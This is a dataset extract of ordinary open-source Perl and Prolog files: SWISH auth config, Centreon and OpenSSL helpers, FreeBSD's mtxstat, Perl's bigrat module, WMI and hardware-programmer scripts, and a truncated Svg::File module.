code
stringlengths
2
1.05M
repo_name
stringlengths
5
101
path
stringlengths
4
991
language
stringclasses
3 values
license
stringclasses
5 values
size
int64
2
1.05M
:- module(config_http_auth, []). :- use_module(swish(lib/config), []). /** <module> Optional HTTP based authentication Enable optional HTTP based authentication. Note that lib/authenticate.pl supports both HTTP _basic_ and HTTP _digest_ login. Please make sure to understand the security issues involved with using authenticated access. In a nutshell: - *Basic* authentication should only be used together with HTTPS as it exposes the user and password on the wire. - *Digest* authentication uses a challenge/response protocol to avoid exposing the password and a _nonce_ to avoid steeling a connection by reusing credentials. The rest of the communication is insecure. */ :- multifile swish_config:config/2. swish_config:config(public_access, true). :- use_module(swish(lib/plugin/http_authenticate), []). % Make adding users available from the toplevel :- use_module(user:swish(lib/plugin/http_authenticate), [ swish_add_user/3, % +User, +Passwd, +Fields swish_add_user/1, % +Dict swish_add_user/0 ]). % Can be set to `basic` when HTTPS is used. Using `basic` saves % one round trip but requires HTTPS to avoid exchanging the password % unencrypted. % :- set_setting_default(swish_authenticate:method, basic).
TeamSPoon/logicmoo_workspace
packs_web/swish/config-available/auth_http.pl
Perl
mit
1,311
#!/usr/bin/env swipl :- module(logicmoo_wamcl,[]). :- reexport(library(wamcl_runtime)).
TeamSPoon/logicmoo_base
prolog/logicmoo_wamcl.pl
Perl
mit
91
# # Copyright 2017 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package apps::centreon::local::plugin; use strict; use warnings; use base qw(centreon::plugins::script_simple); sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '0.1'; %{$self->{modes}} = ( 'centreon-plugins-version' => 'apps::centreon::local::mode::centreonpluginsversion', 'downtime-trap' => 'apps::centreon::local::mode::downtimetrap', 'metaservice' => 'apps::centreon::local::mode::metaservice', 'retention-broker' => 'apps::centreon::local::mode::retentionbroker', ); return $self; } 1; __END__ =head1 PLUGIN DESCRIPTION Specific Centreon Indicators. =cut
maksimatveev/centreon-plugins
apps/centreon/local/plugin.pm
Perl
apache-2.0
1,605
#! /usr/bin/env perl # Copyright 2021 The OpenSSL Project Authors. All Rights Reserved. # # Licensed under the Apache License 2.0 (the "License"). You may not use # this file except in compliance with the License. You can obtain a copy # in the file LICENSE in the source distribution or at # https://www.openssl.org/source/license.html use strict; use warnings; package OpenSSL::copyright; sub year_of { my $file = shift; return $ENV{'OSSL_COPYRIGHT_YEAR'} if defined $ENV{'OSSL_COPYRIGHT_YEAR'}; # Get the current year. We use that as the default because the other # common case is that someone unpacked a tarfile and the file dates # are't properly set on extract. my $YEAR = [localtime()]->[5] + 1900; # See if git's available open my $FH, "git log -1 --date=format:%Y --format=format:%ad $file 2>/dev/null|" or return $YEAR; my $LINE = <$FH>; close $FH; chomp($LINE); $YEAR = $LINE if $LINE; return $YEAR; } sub latest { my $l = 0; foreach my $f (@_ ) { my $y = year_of($f); $l = $y if $y > $l; } return $l } 1;
jens-maus/amissl
openssl/util/perl/OpenSSL/copyright.pm
Perl
bsd-3-clause
1,129
#!/usr/bin/perl -Tw #- # Copyright (c) 2002 Dag-Erling Coïdan Smørgrav # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer # in this position and unchanged. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES # OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT # NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF # THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # $FreeBSD$ # use strict; use Getopt::Std; sub usage() { print(STDERR "usage: mtxstat [-gr] [-a|c|m|t] [-l limit]\n"); exit(1); } MAIN:{ my %opts; # Command-line options my $key; # Sort key my $limit; # Output limit local *PIPE; # Pipe my $header; # Header line my @names; # Field names my %data; # Mutex data my @list; # List of entries getopts("acgl:mrt", \%opts) or usage(); if ($opts{'a'}) { usage() if ($opts{'c'} || $opts{'m'} || $opts{'t'}); $key = 'avg'; } elsif ($opts{'c'}) { usage() if ($opts{'m'} || $opts{'t'}); $key = 'count'; } elsif ($opts{'m'}) { usage() if ($opts{'t'}); $key = 'max'; } elsif ($opts{'t'}) { $key = 'total'; } if ($opts{'l'}) { if ($opts{'l'} !~ m/^\d+$/) { usage(); } $limit = $opts{'l'}; } $ENV{'PATH'} = '/bin:/sbin:/usr/bin:/usr/sbin'; open(PIPE, "sysctl -n debug.mutex.prof.stats|") or die("open(): $!\n"); $header = <PIPE>; chomp($header); @names = split(' ', $header); if (defined($key) && !grep(/^$key$/, @names)) { die("can't find sort key '$key' in header\n"); } while (<PIPE>) { chomp(); my @fields = split(' ', $_, @names); next unless @fields; my %entry; foreach (@names) { $entry{$_} = ($_ eq 'name') ? shift(@fields) : 0.0 + shift(@fields); } if ($opts{'g'}) { $entry{'name'} =~ s/^(\S+)\s+\((.*)\)$/$2/; } my $name = $entry{'name'}; if ($data{$name}) { if ($entry{'max'} > $data{$name}->{'max'}) { $data{$name}->{'max'} = $entry{'max'}; } $data{$name}->{'total'} += $entry{'total'}; $data{$name}->{'count'} += $entry{'count'}; $data{$name}->{'avg'} = $data{$name}->{'total'} / $data{$name}->{'count'}; } else { $data{$name} = \%entry; } } if (defined($key)) { @list = sort({ $data{$a}->{$key} <=> $data{$b}->{$key} } sort(keys(%data))); } else { @list = sort(keys(%data)); } if ($opts{'r'}) { @list = reverse(@list); } print("$header\n"); if ($limit) { while (@list > $limit) { pop(@list); } } foreach (@list) { printf("%6.0f %12.0f %11.0f %5.0f %-40.40s\n", $data{$_}->{'max'}, $data{$_}->{'total'}, $data{$_}->{'count'}, $data{$_}->{'avg'}, $data{$_}->{'name'}); } }
jhbsz/OSI-OS
tools/tools/mtxstat/mtxstat.pl
Perl
bsd-3-clause
3,853
# FIPS assembly language preprocessor # Renames all symbols in the file to # their modified fips versions. my @ARGS = @ARGV; my $top = shift @ARGS; my $target = shift @ARGS; my $runasm = 1; if ($ARGS[0] eq "norunasm") { $runasm = 0; shift @ARGS; } my $enabled = 0; $enabled = 1 if $ENV{FIPSCANISTERINTERNAL} eq "y"; if ($enabled == 0 && $runasm) { system @ARGS; exit $? } # Open symbol rename file. open(IN, "$top/fips/fipssyms.h") || die "Can't open fipssyms.h"; # Skip to assembler symbols while (<IN>) { last if (/assembler/) } # Store all renames [noting minimal length]. my $minlen=0x10000; while (<IN>) { if (/^#define\s+_?(\w+)\s+_?(\w+)\b/) { $edits{$1} = $2; my $len = length($1); $minlen = $len if ($len<$minlen); } } open(IN,"$target") || die "Can't open $target for reading"; @code = <IN>; # suck in whole file close IN; open(OUT,">$target") || die "Can't open $target for writing"; foreach $line (@code) { $line =~ s/\b(_?)(\w{$minlen,})\b/$1.($edits{$2} or $2)/geo; print OUT $line; } close OUT; if ($runasm) { # run assembler system @ARGS; my $rv = $?; die "Error executing assembler!" if $rv != 0; }
GaloisInc/hacrypto
src/C/openssl/openssl-fips-ecp-2.0.9/util/fipsas.pl
Perl
bsd-3-clause
1,172
############################################################################### # # Package: NaturalDocs::Menu::Entry # ############################################################################### # # A class representing an entry in the menu. # ############################################################################### # This file is part of Natural Docs, which is Copyright © 2003-2010 Greg Valure # Natural Docs is licensed under version 3 of the GNU Affero General Public License (AGPL) # Refer to License.txt for the complete details use strict; use integer; package NaturalDocs::Menu::Entry; ############################################################################### # Group: Implementation # # Constants: Members # # The object is implemented as a blessed arrayref with the indexes below. # # TYPE - The <MenuEntryType> # TITLE - The title of the entry. # TARGET - The target of the entry. If the type is <MENU_FILE>, it will be the source <FileName>. If the type is # <MENU_LINK>, it will be the URL. If the type is <MENU_GROUP>, it will be an arrayref of # <NaturalDocs::Menu::Entry> objects representing the group's content. If the type is <MENU_INDEX>, it will be # a <TopicType>. # FLAGS - Any <Menu Entry Flags> that apply. # use constant TYPE => 0; use constant TITLE => 1; use constant TARGET => 2; use constant FLAGS => 3; # DEPENDENCY: New() depends on the order of these constants. ############################################################################### # Group: Functions # # Function: New # # Creates and returns a new object. # # Parameters: # # type - The <MenuEntryType>. # title - The title of the entry. # target - The target of the entry, if applicable. If the type is <MENU_FILE>, use the source <FileName>. If the type is # <MENU_LINK>, use the URL. If the type is <MENU_INDEX>, use the <TopicType>. Otherwise set it to undef. # flags - Any <Menu Entry Flags> that apply. # sub New #(type, title, target, flags) { # DEPENDENCY: This gode depends on the order of the constants. my $package = shift; my $object = [ @_ ]; bless $object, $package; if ($object->[TYPE] == ::MENU_GROUP()) { $object->[TARGET] = [ ]; }; if (!defined $object->[FLAGS]) { $object->[FLAGS] = 0; }; return $object; }; # Function: Type # Returns the <MenuEntryType>. sub Type { return $_[0]->[TYPE]; }; # Function: Title # Returns the title of the entry. sub Title { return $_[0]->[TITLE]; }; # Function: SetTitle # Replaces the entry's title. sub SetTitle #(title) { $_[0]->[TITLE] = $_[1]; }; # # Function: Target # # Returns the target of the entry, if applicable. If the type is <MENU_FILE>, it returns the source <FileName>. If the type is # <MENU_LINK>, it returns the URL. If the type is <MENU_INDEX>, it returns the <TopicType>. Otherwise it returns undef. # sub Target { my $self = shift; # Group entries are the only time when target won't be undef when it should be. if ($self->Type() == ::MENU_GROUP()) { return undef; } else { return $self->[TARGET]; }; }; # Function: SetTarget # Replaces the entry's target. sub SetTarget #(target) { $_[0]->[TARGET] = $_[1]; }; # Function: Flags # Returns the <Menu Entry Flags>. sub Flags { return $_[0]->[FLAGS]; }; # Function: SetFlags # Replaces the <Menu Entry Flags>. sub SetFlags #(flags) { $_[0]->[FLAGS] = $_[1]; }; ############################################################################### # Group: Group Functions # # All of these functions assume the type is <MENU_GROUP>. Do *not* call any of these without checking <Type()> first. # # Function: GroupContent # # Returns an arrayref of <NaturalDocs::Menu::Entry> objects representing the contents of the # group, or undef otherwise. This arrayref will always exist for <MENU_GROUP>'s and can be changed. # sub GroupContent { return $_[0]->[TARGET]; }; # # Function: GroupIsEmpty # # If the type is <MENU_GROUP>, returns whether the group is empty. # sub GroupIsEmpty { my $self = shift; return (scalar @{$self->GroupContent()} > 0); }; # # Function: PushToGroup # # Pushes the entry to the end of the group content. # sub PushToGroup #(entry) { my ($self, $entry) = @_; push @{$self->GroupContent()}, $entry; }; # # Function: DeleteFromGroup # # Deletes an entry from the group content by index. # sub DeleteFromGroup #(index) { my ($self, $index) = @_; my $groupContent = $self->GroupContent(); splice( @$groupContent, $index, 1 ); }; # # Function: MarkEndOfOriginal # # If the group doesn't already have one, adds a <MENU_ENDOFORIGINAL> entry to the end and sets the # <MENU_GROUP_HASENDOFORIGINAL> flag. # sub MarkEndOfOriginal { my $self = shift; if (($self->Flags() & ::MENU_GROUP_HASENDOFORIGINAL()) == 0) { $self->PushToGroup( NaturalDocs::Menu::Entry->New(::MENU_ENDOFORIGINAL(), undef, undef, undef) ); $self->SetFlags( $self->Flags() | ::MENU_GROUP_HASENDOFORIGINAL() ); }; }; 1;
IbpTeam/node-nodegit
vendor/naturaldocs/Modules/NaturalDocs/Menu/Entry.pm
Perl
mit
5,350
package bigrat; use 5.006; $VERSION = '0.23'; require Exporter; @ISA = qw( bigint ); @EXPORT_OK = qw( PI e bpi bexp ); @EXPORT = qw( inf NaN ); use strict; use overload; require bigint; # no "use" to avoid callind import ############################################################################## BEGIN { *inf = \&bigint::inf; *NaN = \&bigint::NaN; } # These are all alike, and thus faked by AUTOLOAD my @faked = qw/round_mode accuracy precision div_scale/; use vars qw/$VERSION $AUTOLOAD $_lite/; # _lite for testsuite sub AUTOLOAD { my $name = $AUTOLOAD; $name =~ s/.*:://; # split package no strict 'refs'; foreach my $n (@faked) { if ($n eq $name) { *{"bigrat::$name"} = sub { my $self = shift; no strict 'refs'; if (defined $_[0]) { Math::BigInt->$name($_[0]); Math::BigFloat->$name($_[0]); return Math::BigRat->$name($_[0]); } return Math::BigInt->$name(); }; return &$name; } } # delayed load of Carp and avoid recursion require Carp; Carp::croak ("Can't call bigrat\-\>$name, not a valid method"); } sub unimport { $^H{bigrat} = undef; # no longer in effect overload::remove_constant('binary','','float','','integer'); } sub in_effect { my $level = shift || 0; my $hinthash = (caller($level))[10]; $hinthash->{bigrat}; } ############################################################################# # the following two routines are for Perl 5.9.4 or later and are lexical sub _hex { return CORE::hex($_[0]) unless in_effect(1); my $i = $_[0]; $i = '0x'.$i unless $i =~ /^0x/; Math::BigInt->new($i); } sub _oct { return CORE::oct($_[0]) unless in_effect(1); my $i = $_[0]; return Math::BigInt->from_oct($i) if $i =~ /^0[0-7]/; Math::BigInt->new($i); } sub import { my $self = shift; # see also bignum->import() for additional comments $^H{bigrat} = 1; # we are in effect my ($hex,$oct); # for newer Perls always override hex() and oct() with a lexical version: if ($] > 5.009004) { $oct = \&_oct; $hex = \&_hex; } # some defaults my $lib = ''; my $lib_kind = 'try'; my $upgrade = 'Math::BigFloat'; my @import = ( ':constant' ); # drive it w/ constant my @a = @_; my $l = scalar @_; my $j = 0; my ($a,$p); my ($ver,$trace); # version? trace? for ( my $i = 0; $i < $l ; $i++,$j++ ) { if ($_[$i] eq 'upgrade') { # this causes upgrading $upgrade = $_[$i+1]; # or undef to disable my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..." splice @a, $j, $s; $j -= $s; } elsif ($_[$i] =~ /^(l|lib|try|only)$/) { # this causes a different low lib to take care... $lib_kind = $1; $lib_kind = 'lib' if $lib_kind eq 'l'; $lib = $_[$i+1] || ''; my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..." splice @a, $j, $s; $j -= $s; $i++; } elsif ($_[$i] =~ /^(a|accuracy)$/) { $a = $_[$i+1]; my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..." splice @a, $j, $s; $j -= $s; $i++; } elsif ($_[$i] =~ /^(p|precision)$/) { $p = $_[$i+1]; my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..." splice @a, $j, $s; $j -= $s; $i++; } elsif ($_[$i] =~ /^(v|version)$/) { $ver = 1; splice @a, $j, 1; $j --; } elsif ($_[$i] =~ /^(t|trace)$/) { $trace = 1; splice @a, $j, 1; $j --; } elsif ($_[$i] eq 'hex') { splice @a, $j, 1; $j --; $hex = \&bigint::_hex_global; } elsif ($_[$i] eq 'oct') { splice @a, $j, 1; $j --; $oct = \&bigint::_oct_global; } elsif ($_[$i] !~ /^(PI|e|bpi|bexp)\z/) { die ("unknown option $_[$i]"); } } my $class; $_lite = 0; # using M::BI::L ? if ($trace) { require Math::BigInt::Trace; $class = 'Math::BigInt::Trace'; $upgrade = 'Math::BigFloat::Trace'; } else { # see if we can find Math::BigInt::Lite if (!defined $a && !defined $p) # rounding won't work to well { eval 'require Math::BigInt::Lite;'; if ($@ eq '') { @import = ( ); # :constant in Lite, not MBI Math::BigInt::Lite->import( ':constant' ); $_lite= 1; # signal okay } } require Math::BigInt if $_lite == 0; # not already loaded? $class = 'Math::BigInt'; # regardless of MBIL or not } push @import, $lib_kind => $lib if $lib ne ''; # Math::BigInt::Trace or plain Math::BigInt $class->import(@import, upgrade => $upgrade); require Math::BigFloat; Math::BigFloat->import( upgrade => 'Math::BigRat', ':constant' ); require Math::BigRat; bigrat->accuracy($a) if defined $a; bigrat->precision($p) if defined $p; if ($ver) { print "bigrat\t\t\t v$VERSION\n"; print "Math::BigInt::Lite\t v$Math::BigInt::Lite::VERSION\n" if $_lite; print "Math::BigInt\t\t v$Math::BigInt::VERSION"; my $config = Math::BigInt->config(); print " lib => $config->{lib} v$config->{lib_version}\n"; print "Math::BigFloat\t\t v$Math::BigFloat::VERSION\n"; print "Math::BigRat\t\t v$Math::BigRat::VERSION\n"; exit; } # Take care of octal/hexadecimal constants overload::constant binary => sub { bigint::_binary_constant(shift) }; # if another big* was already loaded: my ($package) = caller(); no strict 'refs'; if (!defined *{"${package}::inf"}) { $self->export_to_level(1,$self,@a); # export inf and NaN } { no warnings 'redefine'; *CORE::GLOBAL::oct = $oct if $oct; *CORE::GLOBAL::hex = $hex if $hex; } } sub PI () { Math::BigFloat->new('3.141592653589793238462643383279502884197'); } sub e () { Math::BigFloat->new('2.718281828459045235360287471352662497757'); } sub bpi ($) { local $Math::BigFloat::upgrade; Math::BigFloat::bpi(@_); } sub bexp ($$) { local $Math::BigFloat::upgrade; my $x = Math::BigFloat->new($_[0]); $x->bexp($_[1]); } 1; __END__ =head1 NAME bigrat - Transparent BigNumber/BigRational support for Perl =head1 SYNOPSIS use bigrat; print 2 + 4.5,"\n"; # BigFloat 6.5 print 1/3 + 1/4,"\n"; # produces 7/12 { no bigrat; print 1/3,"\n"; # 0.33333... } # Note that this will make hex() and oct() be globally overriden: use bigrat qw/hex oct/; print hex("0x1234567890123490"),"\n"; print oct("01234567890123490"),"\n"; =head1 DESCRIPTION All operators (including basic math operations) are overloaded. Integer and floating-point constants are created as proper BigInts or BigFloats, respectively. Other than L<bignum>, this module upgrades to Math::BigRat, meaning that instead of 2.5 you will get 2+1/2 as output. =head2 Modules Used C<bigrat> is just a thin wrapper around various modules of the Math::BigInt family. Think of it as the head of the family, who runs the shop, and orders the others to do the work. The following modules are currently used by bignum: Math::BigInt::Lite (for speed, and only if it is loadable) Math::BigInt Math::BigFloat Math::BigRat =head2 Math Library Math with the numbers is done (by default) by a module called Math::BigInt::Calc. This is equivalent to saying: use bigrat lib => 'Calc'; You can change this by using: use bignum lib => 'GMP'; The following would first try to find Math::BigInt::Foo, then Math::BigInt::Bar, and when this also fails, revert to Math::BigInt::Calc: use bigrat lib => 'Foo,Math::BigInt::Bar'; Using C<lib> warns if none of the specified libraries can be found and L<Math::BigInt> did fall back to one of the default libraries. To supress this warning, use C<try> instead: use bignum try => 'GMP'; If you want the code to die instead of falling back, use C<only> instead: use bignum only => 'GMP'; Please see respective module documentation for further details. =head2 Sign The sign is either '+', '-', 'NaN', '+inf' or '-inf'. A sign of 'NaN' is used to represent the result when input arguments are not numbers or as a result of 0/0. '+inf' and '-inf' represent plus respectively minus infinity. You will get '+inf' when dividing a positive number by 0, and '-inf' when dividing any negative number by 0. =head2 Methods Since all numbers are not objects, you can use all functions that are part of the BigInt or BigFloat API. It is wise to use only the bxxx() notation, and not the fxxx() notation, though. This makes you independed on the fact that the underlying object might morph into a different class than BigFloat. =over 2 =item inf() A shortcut to return Math::BigInt->binf(). Useful because Perl does not always handle bareword C<inf> properly. =item NaN() A shortcut to return Math::BigInt->bnan(). Useful because Perl does not always handle bareword C<NaN> properly. =item e # perl -Mbigrat=e -wle 'print e' Returns Euler's number C<e>, aka exp(1). =item PI # perl -Mbigrat=PI -wle 'print PI' Returns PI. =item bexp() bexp($power,$accuracy); Returns Euler's number C<e> raised to the appropriate power, to the wanted accuracy. Example: # perl -Mbigrat=bexp -wle 'print bexp(1,80)' =item bpi() bpi($accuracy); Returns PI to the wanted accuracy. Example: # perl -Mbigrat=bpi -wle 'print bpi(80)' =item upgrade() Return the class that numbers are upgraded to, is in fact returning C<$Math::BigInt::upgrade>. =item in_effect() use bigrat; print "in effect\n" if bigrat::in_effect; # true { no bigrat; print "in effect\n" if bigrat::in_effect; # false } Returns true or false if C<bigrat> is in effect in the current scope. This method only works on Perl v5.9.4 or later. =back =head2 MATH LIBRARY Math with the numbers is done (by default) by a module called =head2 Cavaet But a warning is in order. When using the following to make a copy of a number, only a shallow copy will be made. $x = 9; $y = $x; $x = $y = 7; If you want to make a real copy, use the following: $y = $x->copy(); Using the copy or the original with overloaded math is okay, e.g. the following work: $x = 9; $y = $x; print $x + 1, " ", $y,"\n"; # prints 10 9 but calling any method that modifies the number directly will result in B<both> the original and the copy being destroyed: $x = 9; $y = $x; print $x->badd(1), " ", $y,"\n"; # prints 10 10 $x = 9; $y = $x; print $x->binc(1), " ", $y,"\n"; # prints 10 10 $x = 9; $y = $x; print $x->bmul(2), " ", $y,"\n"; # prints 18 18 Using methods that do not modify, but testthe contents works: $x = 9; $y = $x; $z = 9 if $x->is_zero(); # works fine See the documentation about the copy constructor and C<=> in overload, as well as the documentation in BigInt for further details. =head2 Options bignum recognizes some options that can be passed while loading it via use. The options can (currently) be either a single letter form, or the long form. The following options exist: =over 2 =item a or accuracy This sets the accuracy for all math operations. The argument must be greater than or equal to zero. See Math::BigInt's bround() function for details. perl -Mbigrat=a,50 -le 'print sqrt(20)' Note that setting precision and accurary at the same time is not possible. =item p or precision This sets the precision for all math operations. The argument can be any integer. Negative values mean a fixed number of digits after the dot, while a positive value rounds to this digit left from the dot. 0 or 1 mean round to integer. See Math::BigInt's bfround() function for details. perl -Mbigrat=p,-50 -le 'print sqrt(20)' Note that setting precision and accurary at the same time is not possible. =item t or trace This enables a trace mode and is primarily for debugging bignum or Math::BigInt/Math::BigFloat. =item l or lib Load a different math lib, see L<MATH LIBRARY>. perl -Mbigrat=l,GMP -e 'print 2 ** 512' Currently there is no way to specify more than one library on the command line. This means the following does not work: perl -Mbignum=l,GMP,Pari -e 'print 2 ** 512' This will be hopefully fixed soon ;) =item hex Override the built-in hex() method with a version that can handle big integers. Note that under Perl v5.9.4 or ealier, this will be global and cannot be disabled with "no bigint;". =item oct Override the built-in oct() method with a version that can handle big integers. Note that under Perl v5.9.4 or ealier, this will be global and cannot be disabled with "no bigint;". =item v or version This prints out the name and version of all modules used and then exits. perl -Mbigrat=v =back =head1 CAVAETS =over 2 =item in_effect() This method only works on Perl v5.9.4 or later. =item hex()/oct() C<bigint> overrides these routines with versions that can also handle big integer values. Under Perl prior to version v5.9.4, however, this will not happen unless you specifically ask for it with the two import tags "hex" and "oct" - and then it will be global and cannot be disabled inside a scope with "no bigint": use bigint qw/hex oct/; print hex("0x1234567890123456"); { no bigint; print hex("0x1234567890123456"); } The second call to hex() will warn about a non-portable constant. Compare this to: use bigint; # will warn only under Perl older than v5.9.4 print hex("0x1234567890123456"); =back =head1 EXAMPLES perl -Mbigrat -le 'print sqrt(33)' perl -Mbigrat -le 'print 2*255' perl -Mbigrat -le 'print 4.5+2*255' perl -Mbigrat -le 'print 3/7 + 5/7 + 8/3' perl -Mbigrat -le 'print 12->is_odd()'; perl -Mbignum=l,GMP -le 'print 7 ** 7777' =head1 LICENSE This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself. =head1 SEE ALSO Especially L<bignum>. L<Math::BigFloat>, L<Math::BigInt>, L<Math::BigRat> and L<Math::Big> as well as L<Math::BigInt::BitVect>, L<Math::BigInt::Pari> and L<Math::BigInt::GMP>. =head1 AUTHORS (C) by Tels L<http://bloodgate.com/> in early 2002 - 2007. =cut
leighpauls/k2cro4
third_party/cygwin/lib/perl5/5.10/bigrat.pm
Perl
bsd-3-clause
14,442
use strict; while ( $r ) { printf ( "Example text \n" ); sleep 1; }
sdottaka/mruby-bin-scite-mruby
tools/scintilla/test/examples/x.pl
Perl
mit
71
use Win32::OLE 'in'; use Math::BigInt; my $DirectoryName="c:\\emacs"; #experimenteer met andere waarden my $ShowLevel = 2; my $WbemServices = Win32::OLE->GetObject("winMgmts://./root/cimv2"); my $Directory = $WbemServices->Get("Win32_Directory='$DirectoryName'"); #Alternatief met een query my $DirectoryName="c:\\\\emacs"; #vier-dubbele \-tekens my ($Directory) = (in $WbemServices->ExecQuery("Select * From Win32_Directory Where Name='$DirectoryName'")); DirectorySize($Directory,$ShowLevel); sub DirectorySize { my ($Directory,$Level) = @_; my $Size = Math::BigInt->new(); my $Query = "ASSOCIATORS OF {Win32_Directory='$Directory->{Name}'} WHERE AssocClass=CIM_DirectoryContainsFile"; $Size += $_->{FileSize} foreach in $WbemServices->ExecQuery($Query); my $Query = "ASSOCIATORS OF {Win32_Directory='$Directory->{Name}'} WHERE AssocClass=Win32_SubDirectory Role=GroupComponent"; $Size += DirectorySize($_,$Level-1) foreach in $WbemServices->ExecQuery($Query); printf "%12s%s%s\n", $Size,("\t" x ($ShowLevel-$Level+1)), $Directory->{Name} if $Level >= 0; return $Size; }
VDBBjorn/Besturingssystemen-III
Labo/reeks4/Reeks4_22.pl
Perl
mit
1,128
#!/usr/bin/perl # Programmer.pl - Program to feed Intel HEX files produced by SDCC to the nRF24LE1 Arduino # programmer sketch. # Copyright (c) 2014 Dean Cording # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. use strict; use warnings; use common; my $port = common::find_port(); if (@ARGV != 1 && !$port) { print "Usage: $0 <Arduino Serial Port>\n"; exit; } # Serial port settings to suit Arduino print "Using port $port\n"; common::dump_only($port, "i");
baruch/nRF24LE1_Programmer
ReadInfopage.pl
Perl
mit
1,492
#!/usr/bin/perl use strict; use warnings; if (scalar(@ARGV) != 1 ) { die "Usage: $0 file.pgn\n"; } else { # nothing. } my $this_file = shift @ARGV; my $this_suffix = ".pgn"; if ($this_file =~ /$this_suffix/) { # nothing. } else { die "File error! Usage: $0 file.pgn\n"; } #my $sheet = $this_file; #$sheet =~ s/$this_suffix/\_sheet\.txt/; #open(SHEET, ">$sheet") or die "error write $sheet\n"; my $this_out = $this_file; my $add = "_keys"; $this_out =~ s/$this_suffix/$add$this_suffix/; if (-e $this_out) { # do nothing. } else { open(OUT, ">$this_out") or die "error write $this_out\n"; my $double_this_out = &write_file_with_keys($this_file); } exit; sub write_file_with_keys { my $file = shift @_; open(IN, $file) or die "error read $file\n"; my $out = $file; my $suffix = ".pgn"; my $add = "_keys"; $out =~ s/$suffix/$add$suffix/; open(OUT, ">$out") or die "error write $out\n"; my $FirstTag = "Event "; my $Key = 0; my $KeyStart = "[Key = "; my $KeyEnd = "]"; while(<IN>) { chomp; if (/$FirstTag/) { $Key++; print OUT $KeyStart.$Key.$KeyEnd."\n$_\n"; } else { print OUT "$_\n"; } } close(IN); close(OUT); return $out; }
testviking/chess-material-search
bin/create_keys_file.pl
Perl
mit
1,177
package Svg::File; require 5.000; require Exporter; @ISA = qw(Exporter); @EXPORT_OK = qw(new header open close); use Svg::Std qw(message_err message_out svgPrint indent newline); use strict qw( subs vars refs ); @Svg::File::ISA = qw( Svg::Graphics ); # creates new object # USAGE: my $FileObj = Svg::File->new(); sub new { my $class = shift; my $filename =shift; my $glob = shift || \*SVGOUT; my $self = {"filename" => $filename, "FileHandle" => $glob}; bless $self, $class; $self->initGlobals(); $self->init(); $self; } # prints standard SVG document header # N.B. only allowed when the $obj->open() method has the 'noheader' attribute set # USAGE: $FileObj->header(OPTIONAL [public|encoding_value]); sub header { my $self = shift; $self->{LineNumber}++; if ($self->{header} =~ /^true$/) {$self->message_err( "Header already defined", $self->{LineNumber} )} elsif ($self->{header} =~ /^false$/) { my $type = 0; my @arguments = @_; for (my $i=0; $i<@arguments; $i++) { if ($arguments[$i] =~ /^public$/) {$type = 1;splice(@arguments, $i--, 1)} } if (@arguments[0] =~ /^iso-8859-[0-9]{1,2}$/) { $self->svgPrint("<?xml version=\"1.0\" encoding=\"$arguments[0]\"?>"); } else { $self->svgPrint("<?xml version=\"1.0\" standalone=\"no\"?>"); } $self->newline(); if ( $type == 1 ) {$self->svgPrint("<!DOCTYPE svg PUBLIC \"$self->{Public_ID}\" \"$self->{XML_DTD}\">");$self->newline()} else {$self->svgPrint("<!DOCTYPE svg SYSTEM \"svg.dtd\">");$self->newline()} $self->{header} = "true"; } } # initialises object specific variables [private] sub initGlobals { my $self = shift; $self->{version} = "1.0.1"; $self->{info} = "SVG-pl " . $self->{version}; $self->{copyright} = "Julius Mong, Copyright @ 1999"; $self->{Public_ID} = "-//W3C//DTD SVG 20001102//EN"; $self->{XML_DTD} = 